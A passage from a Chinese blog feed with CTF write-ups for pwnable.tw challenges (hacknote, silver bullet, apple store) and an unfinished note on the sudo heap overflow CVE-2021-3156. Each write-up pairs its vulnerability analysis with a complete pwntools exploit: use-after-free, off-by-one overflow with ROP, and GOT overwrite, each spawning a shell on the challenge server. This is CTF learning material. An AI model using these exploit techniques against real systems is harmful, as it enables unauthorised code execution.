__readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> result = (<span class="keyword">unsigned</span> __int8)++byte_4B9330;</span><br><span class="line"> <span class="keyword">if</span> ( byte_4B9330 == <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> sub_446EC0(<span class="number">1u</span>, <span class="string">"addr:"</span>, <span class="number">5u</span>LL);</span><br><span class="line"> sub_446E20(<span class="number">0</span>, buf, <span class="number">0x18</span>uLL);</span><br><span class="line"> v1 = (<span class="keyword">char</span> *)(<span class="keyword">int</span>)sub_40EE70(buf);</span><br><span class="line"> sub_446EC0(<span class="number">1u</span>, <span class="string">"data:"</span>, <span class="number">5u</span>LL);</span><br><span class="line"> sub_446E20(<span class="number">0</span>, v1, <span class="number">0x18</span>uLL);</span><br><span class="line"> result = <span class="number">0L</span>L;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( __readfsqword(<span class="number">0x28</span>u) != v3 )</span><br><span class="line"> sub_44A3E0();</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那么看一下保护:</p><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">Arch: amd64-64-little</span><br><span class="line">RELRO: Partial RELRO</span><br><span class="line">Stack: No canary found</span><br><span class="line">NX: NX enabled</span><br><span class="line">PIE: No PIE (0x400000)</span><br></pre></td></tr></table></figure><p>由于开了nx, 所以思路只能是写ROP进去, 而我们只有一次机会进行任意写, 所以需要想办法多次执行main函数, 这就涉及到我的知识盲区了, 所以看了下wp, 大概是通过程序启动前执行的一些tick来操作的, 具体分析在另一篇文章</p><h2 id="dubblesort"><a href="#dubblesort" class="headerlink" title="dubblesort"></a>dubblesort</h2><p>随便运行一下, 看起来有个整数溢出</p><h2 id="hacknote"><a href="#hacknote" class="headerlink" title="hacknote"></a>hacknote</h2><p>之前调试过这个题, 再来复习一波, 程序比较简单, 就是可以添加/删除/查看笔记, 最多分配五个笔记, 每个笔记结构有一个指向8byte的chunk的指针, 存放打印函数, 还包括一个指向指定大小chunk的指针, 存放输入的内容</p><p>漏洞点在于删除笔记的函数在free了添加的两个note后, 并没有清空这两个指针, 导致了uaf</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.adb.adb <span class="keyword">import</span> interactive</span><br><span class="line"><span class="keyword">from</span> pwnlib.term.term <span class="keyword">import</span> flush, put</span><br><span class="line"><span class="keyword">from</span> pwnlib.ui <span class="keyword">import</span> pause</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">filename = <span class="string">'hacknote'</span></span><br><span class="line">libcname = <span class="string">'libc_32.so.6'</span></span><br><span class="line">file = ELF(os.path.dirname(os.path.realpath(__file__)) + <span class="string">'/'</span> + filename)</span><br><span class="line">libc = ELF(os.path.dirname(os.path.realpath(__file__)) + <span class="string">'/'</span> + libcname)</span><br><span class="line">DEBUG = <span class="literal">False</span></span><br><span class="line"><span class="comment"># DEBUG = True</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> r = process(os.path.dirname(os.path.realpath(__file__)) + <span class="string">'/'</span> + filename)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> r = remote(<span class="string">'chall.pwnable.tw'</span>, <span class="number">10102</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">p</span><span class="params">()</span>:</span></span><br><span class="line"> info(<span class="string">"PID:"</span> + str(proc.pidof(r)))</span><br><span class="line"> pause()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(size, content)</span>:</span></span><br><span class="line"> r.sendlineafter(<span class="string">b'choice :'</span>, <span class="string">b'1'</span>)</span><br><span class="line"> r.sendlineafter(<span class="string">b'size :'</span>, str(size))</span><br><span class="line"> r.sendlineafter(<span class="string">b'Content :'</span>, content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(index)</span>:</span></span><br><span class="line"> r.sendlineafter(<span class="string">b'choice'</span>, <span class="string">b'2'</span>)</span><br><span class="line"> r.sendlineafter(<span class="string">b'Index :'</span>, str(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">put</span><span class="params">(index)</span>:</span></span><br><span class="line"> r.sendlineafter(<span class="string">b'choice'</span>, <span class="string">b'3'</span>)</span><br><span class="line"> r.sendlineafter(<span class="string">b'Index :'</span>, str(index))</span><br><span class="line"></span><br><span class="line">add(<span class="number">16</span>, <span class="string">b'\xaa'</span> * <span class="number">4</span>) <span class="comment"># 0</span></span><br><span class="line">add(<span class="number">16</span>, <span class="string">b'\xbb'</span> * <span class="number">4</span>) <span class="comment"># 1</span></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">8</span>, p32(<span class="number">0x804862b</span>) + p32(file.got[<span class="string">'puts'</span>]))</span><br><span class="line">put(<span class="number">0</span>)</span><br><span class="line">puts = u32(r.recv(<span class="number">4</span>))</span><br><span class="line">info(<span class="string">"puts: "</span> + hex(puts))</span><br><span class="line">libcbase = puts - libc.symbols[<span class="string">'puts'</span>]</span><br><span class="line"><span class="comment"># libcbase = puts - 0x5fcb0</span></span><br><span class="line">info(hex(libc.symbols[<span class="string">'puts'</span>]))</span><br><span class="line">info(<span class="string">"libc: "</span> + hex(libcbase))</span><br><span class="line">system = libcbase + libc.symbols[<span class="string">'system'</span>]</span><br><span class="line"><span class="comment"># system = libcbase + 0x3adb0</span></span><br><span class="line">info(<span class="string">"system:"</span> + hex(system))</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">add(<span class="number">8</span>, p32(system) + <span class="string">b";sh;"</span>)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><h2 id="sliver-Bullet"><a href="#sliver-Bullet" class="headerlink" title="sliver Bullet"></a>sliver Bullet</h2><p>提供了3个功能:</p><ol><li>创造银子弹, 读取0x30个字符到栈上, 然后在下一个位置写入长度作为power</li><li>附魔, 如果之前长度大于0x2f, 就返回, 否则输入一个48-power的字符串, 然后strncat连接起来, 修改power</li><li>攻击狼人, hp=0x7FFFFFFF-power, 如果hp<=0, 返回win</li></ol><p>问题在附魔函数中, 有一个off-by-one:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">power_up</span><span class="params">(<span class="keyword">char</span> *dest)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> s[<span class="number">48</span>]; <span class="comment">// [esp+0h] [ebp-34h] BYREF</span></span><br><span class="line"> <span class="keyword">size_t</span> v3; <span class="comment">// [esp+30h] [ebp-4h]</span></span><br><span class="line"></span><br><span class="line"> v3 = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line"> <span class="keyword">if</span> ( !*dest )</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">"You need create the bullet first !"</span>);</span><br><span class="line"> <span class="keyword">if</span> ( *((_DWORD *)dest + <span class="number">12</span>) > <span class="number">0x2F</span>u )</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">"You can't power up any more !"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Give me your another description of bullet :"</span>);</span><br><span class="line"> read_input(s, <span class="number">48</span> - *((_DWORD *)dest + <span class="number">12</span>));</span><br><span class="line"> <span class="built_in">strncat</span>(dest, s, <span class="number">48</span> - *((_DWORD *)dest + <span class="number">12</span>));</span><br><span class="line"> v3 = <span class="built_in">strlen</span>(s) + *((_DWORD *)dest + <span class="number">12</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Your new power is : %u\n"</span>, v3);</span><br><span class="line"> *((_DWORD *)dest + <span class="number">12</span>) = v3;</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">"Enjoy it !"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>strncat函数会在连接完成后, 在末尾添加一个<code>\x00</code>, 所以我们在第一次调用时, 使拼接的字符串填满预留的缓冲区, 接下来的<code>\x00</code>就会覆盖到下一个地址, 而这个地址用来保存之前的power, 覆盖为0后, 加上了本次输入的字符长度, 第二次调用这个函数就可以拼接<code>0x2f</code>字节到预留的缓冲区的后面, 造成了栈溢出</p><p>保护:</p><p> [*] ‘/home/ubuntu/silver_bullet’<br> Arch: i386-32-little<br> RELRO: Full RELRO<br> Stack: No canary found<br> NX: NX enabled<br> PIE: No PIE (0x8048000)</p><p>接下来就是常规的ROP</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.adb.adb <span class="keyword">import</span> interactive</span><br><span class="line"><span class="keyword">from</span> pwnlib.term.term <span class="keyword">import</span> flush, put</span><br><span class="line"><span class="keyword">from</span> pwnlib.ui <span class="keyword">import</span> pause</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">filename = <span class="string">'silver_bullet'</span></span><br><span class="line">libcname = <span class="string">'libc_32.so.6'</span></span><br><span class="line">file = ELF(os.path.dirname(os.path.realpath(__file__)) + <span class="string">'/'</span> + filename)</span><br><span class="line">libc = ELF(os.path.dirname(os.path.realpath(__file__)) + <span class="string">'/'</span> + libcname)</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="literal">False</span></span><br><span class="line"><span class="comment"># DEBUG = True</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> io = process(os.path.dirname(os.path.realpath(__file__)) + <span class="string">'/'</span> + filename)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> io = remote(<span class="string">'chall.pwnable.tw'</span>, <span class="number">10103</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">p</span><span class="params">()</span>:</span></span><br><span class="line"> info(<span class="string">"PID:"</span> + str(proc.pidof(io)))</span><br><span class="line"> pause()</span><br><span class="line"></span><br><span class="line">ru = <span class="keyword">lambda</span> x : io.recvuntil(x)</span><br><span class="line">sn = <span class="keyword">lambda</span> x : io.send(x)</span><br><span class="line">rl = <span class="keyword">lambda</span> : io.recvline()</span><br><span class="line">sl = <span class="keyword">lambda</span> x : io.sendline(x)</span><br><span class="line">rv = <span class="keyword">lambda</span> x : io.recv(x)</span><br><span class="line">sa = <span class="keyword">lambda</span> a,b : io.sendafter(a,b)</span><br><span class="line">sla = <span class="keyword">lambda</span> a,b : io.sendlineafter(a,b)</span><br><span class="line"></span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'1'</span>)</span><br><span class="line">sla(<span class="string">'bullet :'</span>, cyclic(<span class="number">47</span>))</span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'2'</span>)</span><br><span class="line">sla(<span class="string">'bullet :'</span>, <span class="string">'a'</span>)</span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'2'</span>)</span><br><span class="line"><span class="comment"># 40 bytes can be write</span></span><br><span class="line">ROPChains = <span class="string">''</span></span><br><span class="line">ROPChains += p32(file.plt[<span class="string">'puts'</span>])</span><br><span class="line">ROPChains += p32(file.symbols[<span class="string">'main'</span>]) <span class="comment"># back to main</span></span><br><span class="line">ROPChains += p32(file.got[<span class="string">'puts'</span>])</span><br><span class="line"></span><br><span class="line">sla(<span class="string">'bullet :'</span>, cyclic(<span class="number">7</span>) + ROPChains)</span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'3'</span>)</span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'3'</span>)</span><br><span class="line">ru(<span class="string">'win !!\n'</span>)</span><br><span class="line">libcbase = u32(rl()[:<span class="number">-1</span>].ljust(<span class="number">4</span>, <span class="string">b'\x00'</span>)) - libc.symbols[<span class="string">'puts'</span>]</span><br><span class="line">info(<span class="string">"libc: "</span> + hex(libcbase))</span><br><span class="line"></span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'1'</span>)</span><br><span class="line">sla(<span class="string">'bullet :'</span>, cyclic(<span class="number">47</span>))</span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'2'</span>)</span><br><span class="line">sla(<span class="string">'bullet :'</span>, <span class="string">'a'</span>)</span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'2'</span>)</span><br><span class="line"><span class="comment"># 40 bytes can be write</span></span><br><span class="line">ROPChains = <span class="string">''</span></span><br><span class="line">ROPChains += p32(libcbase + libc.symbols[<span class="string">'system'</span>])</span><br><span class="line">ROPChains += p32(file.symbols[<span class="string">'main'</span>]) <span class="comment"># back to main</span></span><br><span class="line">ROPChains += p32(libcbase + next(libc.search(<span class="string">b'/bin/sh'</span>)))</span><br><span class="line"></span><br><span class="line">sla(<span class="string">'bullet :'</span>, cyclic(<span class="number">7</span>) + ROPChains)</span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'3'</span>)</span><br><span class="line">sla(<span class="string">'choice :'</span>, <span class="string">'3'</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="apple-store"><a href="#apple-store" class="headerlink" title="apple store"></a>apple store</h2><p>题目弄了一个苹果商店, 一共5个功能:</p><ol><li>列出各个产品价格</li><li>添加到购物车, 调用create函数创建一个商品结构, 然后调用insert函数插入到双向链表</li><li>从购物车移除, 即从双向链表删除</li><li>查看购物车, 遍历链表</li><li>结账, 遍历链表并计算总金额, 如果总金额等于7174, 会加入一个iPhone 8, 这个iPhone8在栈上</li></ol><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">checkout</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v1; <span class="comment">// [esp+10h] [ebp-28h]</span></span><br><span class="line"> product v2; <span class="comment">// [esp+18h] [ebp-20h] BYREF</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v3; <span class="comment">// [esp+2Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line"> v3 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line"> v1 = cart();</span><br><span class="line"> <span class="keyword">if</span> ( v1 == <span class="number">7174</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"*: iPhone 8 - $1"</span>);</span><br><span class="line"> asprintf(&v2.name, <span class="string">"%s"</span>, <span class="string">"iPhone 8"</span>);</span><br><span class="line"> v2.price = <span class="number">1</span>;</span><br><span class="line"> insert(&v2); <span class="comment">// 把ebp-0x20的内存挂在了双向链表</span></span><br><span class="line"> v1 = <span class="number">7175</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Total: $%d\n"</span>, v1);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Want to checkout? Maybe next time!"</span>);</span><br><span class="line"> <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v3;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那么先让总价等于7174, 即20个299+6个199, 即可让一块栈地址被挂在双向链表上, 而遍历链表的时候是通过判断指针指向的位置非空则进行输出, 由于checkout函数和其他函数都是在handler函数里被调用的, 所以他们的rbp一样的, 而挂到链表上的这段栈内存刚好可以被我们的输入覆盖到:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">cart</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v0; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">int</span> v2; <span class="comment">// [esp+18h] [ebp-30h]</span></span><br><span class="line"> <span class="keyword">int</span> v3; <span class="comment">// [esp+1Ch] [ebp-2Ch]</span></span><br><span class="line"> product *i; <span class="comment">// [esp+20h] [ebp-28h]</span></span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">22</span>]; <span class="comment">// [esp+26h] [ebp-22h] BYREF</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v6; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line"> v6 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line"> v2 = <span class="number">1</span>;</span><br><span class="line"> v3 = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Let me check your cart. ok? (y/n) > "</span>);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"> my_read(buf, <span class="number">0x15</span>u);</span><br><span class="line"> <span class="keyword">if</span> ( buf[<span class="number">0</span>] == <span class="string">'y'</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"==== Cart ===="</span>);</span><br><span class="line"> <span class="keyword">for</span> ( i = (product *)products; i; i = (product *)i->next )</span><br><span class="line"> {</span><br><span class="line"> v0 = v2++;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%d: %s - $%d\n"</span>, v0, i->name, i->price);</span><br><span class="line"> v3 += i->price;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> v3;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>所以我们输入到buff后, 将这个地址对应的name位置改成got表, 即可把got表作为最后一个节点的name, 打印出来</p><p>而且由于我们可以控制双向链表的next和prev域, 所以接下来我们把next指向要写入的值, prev指向目标地址, 即可利用删除函数实现任意写:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">delete</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> num = <span class="number">1</span>;</span><br><span class="line"> product = (product *)products;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Item Number> "</span>);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"> my_read(nptr, <span class="number">0x15</span>u);</span><br><span class="line"> choice = atoi(nptr);</span><br><span class="line"> <span class="keyword">while</span> ( product )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( num == choice )</span><br><span class="line"> {</span><br><span class="line"> a = (product *)product->next; <span class="comment">// value</span></span><br><span class="line"> b = (product *)product->prev; <span class="comment">// address</span></span><br><span class="line"> <span class="keyword">if</span> ( b )</span><br><span class="line"> b->next = (<span class="keyword">int</span>)a; <span class="comment">// address + 8 = value</span></span><br><span class="line"> <span class="keyword">if</span> ( a )</span><br><span class="line"> a->prev = (<span class="keyword">int</span>)b; <span class="comment">// value + 8 = address</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Remove %d:%s from your shopping cart.\n"</span>, num, product->name);</span><br><span class="line"> <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v7;</span><br><span class="line"> }</span><br><span class="line"> ++num;</span><br><span class="line"> product = (product *)product->next;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v7;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>但是由于后续还会使value+8=address, 所以我们无法覆盖got为libc的地址, 因为libc只有执行权限, 所以考虑修改栈上的内存, 就要泄露栈地址, 这里有个<a href="https://www.cnblogs.com/crybaby/p/13294562.html#%E6%B3%84%E9%9C%B2%E6%A0%88%E5%9C%B0%E5%9D%80">tips</a>, 即在我们获得libc基地址的情况下, 这个符号保存了栈地址, 跟我们的ebp的相对偏移是一样的, 所以我们利用删除功能, 把栈上保存的ebp修改为got上的地址, 这里我选择覆盖atio函数为system, 由于在执行完atoi函数后, 会将结果写在栈上, 覆盖got, 所以我们可以直接把system的地址通过atoi写在栈上. 由于system地址是f开头, 在c语言中atoi的转换范围是有符号整型, 所以我们需要把system地址当成负数进行输入, 即转成补码</p><p>最终exp:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.adb.adb <span class="keyword">import</span> interactive</span><br><span class="line"><span class="keyword">from</span> pwnlib.term.term <span class="keyword">import</span> flush, put</span><br><span class="line"><span class="keyword">from</span> pwnlib.ui <span class="keyword">import</span> pause</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">filename = <span class="string">'applestore'</span></span><br><span class="line">libcname = <span class="string">'libc_32.so.6'</span></span><br><span class="line">context.arch = <span class="string">'i386'</span></span><br><span class="line">path = os.path.dirname(os.path.realpath(__file__))</span><br><span class="line">file = ELF(path + <span class="string">'/'</span> + filename)</span><br><span class="line">libc = ELF(path + <span class="string">'/'</span> + libcname)</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="literal">False</span></span><br><span class="line"><span class="comment"># DEBUG = True</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> <span class="comment"># context.terminal = ['terminator', '-x', 'sh', '-c']</span></span><br><span class="line"> <span class="comment"># io = gdb.debug(path + '/' + filename, 'c')</span></span><br><span class="line"> io = process(path + <span class="string">'/'</span> + filename)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> io = remote(<span class="string">'chall.pwnable.tw'</span>, <span class="number">10104</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">p</span><span class="params">()</span>:</span></span><br><span class="line"> info(<span class="string">"PID:"</span> + str(proc.pidof(io)))</span><br><span class="line"> pause()</span><br><span class="line"></span><br><span class="line">lg = <span class="keyword">lambda</span> name,data : io.success(name + <span class="string">": 0x%x"</span> % data)</span><br><span class="line">l64 = <span class="keyword">lambda</span> :u64(io.recvuntil(<span class="string">"\x7f"</span>)[<span class="number">-6</span>:].ljust(<span class="number">8</span>,<span class="string">"\x00"</span>))</span><br><span class="line">l32 = <span class="keyword">lambda</span> :u32(io.recvuntil(<span class="string">"\xf7"</span>)[<span class="number">-4</span>:].ljust(<span class="number">4</span>,<span class="string">"\x00"</span>))</span><br><span class="line">ru = <span class="keyword">lambda</span> x : io.recvuntil(x)</span><br><span class="line">sn = <span class="keyword">lambda</span> x : io.send(x)</span><br><span class="line">rl = <span class="keyword">lambda</span> : io.recvline()</span><br><span class="line">sl = <span class="keyword">lambda</span> x : io.sendline(x)</span><br><span class="line">rv = <span class="keyword">lambda</span> x : io.recv(x)</span><br><span class="line">sa = <span class="keyword">lambda</span> a,b : io.sendafter(a,b)</span><br><span class="line">sla = <span class="keyword">lambda</span> a,b : io.sendlineafter(a,b)</span><br><span class="line">inc = <span class="keyword">lambda</span> : io.interactive()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">a</span><span class="params">(i)</span>:</span></span><br><span class="line"> sla(<span class="string">'> '</span>, <span class="string">'2'</span>)</span><br><span class="line"> sla(<span class="string">'> '</span>, str(i))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">d</span><span class="params">(i)</span>:</span></span><br><span class="line"> sla(<span class="string">'> '</span>, <span class="string">'3'</span>)</span><br><span class="line"> sla(<span class="string">'> '</span>, str(i))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">s</span><span class="params">(content)</span>:</span></span><br><span class="line"> sla(<span class="string">'> '</span>, <span class="string">'4'</span>)</span><br><span class="line"> sla(<span class="string">'> '</span>, content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">6</span>):</span><br><span class="line"> a(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">20</span>):</span><br><span class="line"> a(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">sla(<span class="string">'> '</span>, <span class="string">'5'</span>)</span><br><span class="line">sla(<span class="string">'> '</span>, <span class="string">b'y'</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">b''</span></span><br><span class="line">payload += <span class="string">b'y'</span> * <span class="number">2</span></span><br><span class="line">payload += p32(file.got[<span class="string">'puts'</span>]) <span class="comment"># name</span></span><br><span class="line">payload += p32(<span class="number">0x0</span>) <span class="comment"># price</span></span><br><span class="line">payload += p32(<span class="number">0x0</span>) <span class="comment"># next</span></span><br><span class="line">payload += p32(<span class="number">0x0</span>) <span class="comment"># prev</span></span><br><span class="line">sla(<span class="string">'> '</span>, <span class="string">'4'</span>)</span><br><span class="line">sa(<span class="string">'> '</span>, payload)</span><br><span class="line">ru(<span class="string">'27: '</span>)</span><br><span class="line">libc_base = u32(rv(<span class="number">4</span>)) - libc.sym[<span class="string">'puts'</span>]</span><br><span class="line"><span class="comment"># libc_base = u32(rv(4)) - 0x5fcb0</span></span><br><span class="line">lg(<span class="string">"libc"</span>, libc_base)</span><br><span class="line">payload = <span class="string">b''</span></span><br><span class="line">payload += <span class="string">b'y'</span> * <span class="number">2</span></span><br><span class="line">payload += p32(libc_base + libc.sym[<span class="string">'environ'</span>]) <span class="comment"># name</span></span><br><span class="line"><span class="comment"># payload += p32(libc_base + 0x001b4dbc)</span></span><br><span class="line">payload += p32(<span class="number">0x0</span>) <span class="comment"># price</span></span><br><span class="line">payload += p32(<span class="number">0x0</span>) <span class="comment"># next</span></span><br><span class="line">payload += p32(<span class="number">0x0</span>) <span class="comment"># prev</span></span><br><span class="line">sla(<span class="string">'> '</span>, <span class="string">'4'</span>)</span><br><span class="line">sa(<span class="string">'> '</span>, payload)</span><br><span class="line"></span><br><span class="line">ru(<span class="string">'27: '</span>)</span><br><span class="line">stack_base = u32(rv(<span class="number">4</span>))</span><br><span class="line">lg(<span class="string">"stack"</span>, stack_base)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">b''</span></span><br><span class="line">payload += <span class="string">b'27'</span></span><br><span class="line"><span class="comment"># payload += p32(libc_base + 0x001b4dbc) # valid address</span></span><br><span class="line">payload += p32(libc_base + libc.sym[<span class="string">'environ'</span>]) <span class="comment"># valid address</span></span><br><span class="line">payload += p32(<span class="number">0x0</span>) <span class="comment"># price</span></span><br><span class="line">payload += p32(<span class="number">0x0804b068</span>) <span class="comment"># next=atoi-8</span></span><br><span class="line">payload += p32(stack_base - <span class="number">0x104</span> - <span class="number">0x8</span>) <span class="comment"># prev=stack</span></span><br><span class="line">sla(<span class="string">'> '</span>, <span class="string">'3'</span>)</span><br><span class="line">sa(<span class="string">'> '</span>, payload)</span><br><span class="line">system = libc_base + libc.sym[<span class="string">'system'</span>]</span><br><span class="line"><span class="comment"># system = libc_base + 0x3a860</span></span><br><span class="line">sa(<span class="string">'> '</span>, str(~(-system&<span class="number">0x7fffffff</span>)+<span class="number">1</span>))</span><br><span class="line">sa(<span class="string">'> '</span>, <span class="string">'/bin/sh'</span>)</span><br><span class="line">inc()</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>CVE-2021-3156</title>
<link href="/2021/01/27/CVE-2021-3156/"/>
<url>/2021/01/27/CVE-2021-3156/</url>
<content type="html"><![CDATA[<h2 id="Background"><a href="#Background" class="headerlink" title="Background"></a>Background</h2><p>sudo的一个堆溢出漏洞</p><h2 id="搭个环境"><a href="#搭个环境" class="headerlink" title="搭个环境"></a>搭个环境</h2><p>从<a href="https://github.com/sudo-project/sudo">这里</a>下个老版本的源码, 我选择了<code>Sudo 1.9.5p1</code>, 即上一个release版本.</p><p>clone下来以后, 回退到指定版本</p><p><code>git reset --hard e60ff9058b65f12652847316ec81954b4bce7bbe</code></p><p>然后设置安装路径</p><p><code>./configure prefix=/home/ubuntu/Desktop/cve-2021-3156</code></p><p>改一哈源码, 在漏洞点<code>(plugins/sudoers/sudoers.c line 971)</code>的地方加一个pause, 方便gdb连上去看</p><p>编译</p><p><code>make && make install</code></p><h2 id="细节"><a href="#细节" class="headerlink" title="细节"></a>细节</h2><p>360的公众号给出的漏洞验证方法是<code>sudoedit -s /</code>, 输出<code>sudoedit: /: not a regular file</code>表明存在漏洞, 看一下<code>sudoedit</code>是用来安全编辑一个系统文件的, 流程是先把目标文件复制一份到tmp, 然后启动编辑器编辑, 再把保存的文件覆盖回去, 不用全程保持root权限, 更加安全. 而<code>-s, --shell: run shell as the target user; a command may also be specified</code> 表示用一个目标用户来开一个新的shell.</p><p>公开文章中表示, 如果sudo以一个shell模式运行(shell -c), 即通过<code>-s</code>来设置shell模式, 或者通过<code>-i</code>来设置shell模式和shell登录模式, 查资料可知</p><ul><li>sudo -i,加载用户变量,并跳转到目标用户home目录;</li><li>sudo -s,不加载用户变量,不跳转目录;</li></ul><p>在sudo的main函数中, parse_args()函数会重写argv, 然后通过<code>\</code>转义所有的元字符(<code>\n</code>之类的)</p><h2 id="更新"><a href="#更新" class="headerlink" title="更新"></a>更新</h2><p>有大佬发了exp, 看了一下是利用tcache的, 即libc2.31+版本, 最近忙着找工作先鸽了, 有时间再写</p><h2 id="Reference"><a href="#Reference" class="headerlink" 